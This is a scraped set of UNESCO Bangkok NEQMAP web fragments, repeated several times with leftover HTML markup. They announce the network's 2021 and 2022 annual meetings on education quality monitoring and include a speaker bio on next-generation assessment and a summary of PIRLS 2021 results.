The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student.

In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student.

In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student.

In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" 